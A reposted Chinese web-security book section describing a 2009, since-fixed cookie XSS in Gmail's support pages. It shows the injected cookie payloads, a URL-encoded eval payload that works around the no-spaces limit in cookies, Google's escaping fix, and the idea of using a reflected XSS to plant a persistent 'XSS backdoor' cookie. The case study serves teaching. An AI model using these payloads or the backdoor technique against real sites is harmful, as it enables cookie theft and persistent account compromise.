返回介绍

6.8 其他案例分享——Gmail Cookie XSS

发布于 2024-01-20 15:41:03 字数 1391 浏览 0 评论 0 收藏 0

FireCookie是Firefox浏览器扩展FireBug的一个插件,专门用于Cookie的各种操作,非常方便。

本书的第二作者xisigr在2009年发现https://mail.google.com/support中存在一个Cookie XSS漏洞,当时用FireCookie进行编辑,把gmail_kimt_exp值改为:

')</script><script>alert(document.cookie)</script>

然后打开http://mail.google.com/support路径下的任何一个页面,查看HTTP源代码,发现嵌入了如下代码:

<script type="text/javascript">
urchinTracker('/support/?
hl=en&experiment=')</script><script>alert
(document.cookie)</script>');
</script>

漏洞成因是Gmail的Cookie参数gmail_kimt_exp不进行任何过滤就直接输出到页面中,导致出现XSS漏洞。这里要说明的是,Cookie参数值中不允许有空格存在,所以你在需要用到空格的时候要进行编码,比如:

gmail_kimt_exp=')</script><script>
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E
%77%72%69%74%65%28%27%
3C%69%66%72%61%6D%65%20%73%72%63%3D
%68%74%74%70%3A%2F%2F%77%77%7
7%2E%67%6F%6F%67%6C%65%2E%63%6E%3E%3C%2F
%69%66%72%61%6D%65%3E%27
%29%3B"))
</script>

这个漏洞通知Google后已经修复,对特殊字符进行过滤:

<script type="text/javascript">
urchinTracker('/support/?hl=cn&experiment=
\x27)\x3C\x2Fscript\x3E
\x3Cscript\x3Ealert(1)\x3C\x2Fscript\x3E');
</script>

题外话:这个Cookie XSS的价值在哪里?实际上,如果仅仅是Cookie XSS本身几乎是没价值的,因为攻击者很难事先改写你的Cookie。但是如果结合Gmail的其他XSS,比如一个反射型XSS,这个Cookie XSS的价值就可以发挥出来了。攻击者可以通过这个反射型XSS将Payload写到Cookie中,只要Cookie不清除,即使反射型XSS被修补了,那么每次用户进入Gmail的时候,Cookie XSS都可以触发,这就留下了一个后门,我们把这个叫做XSS Backdoor。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文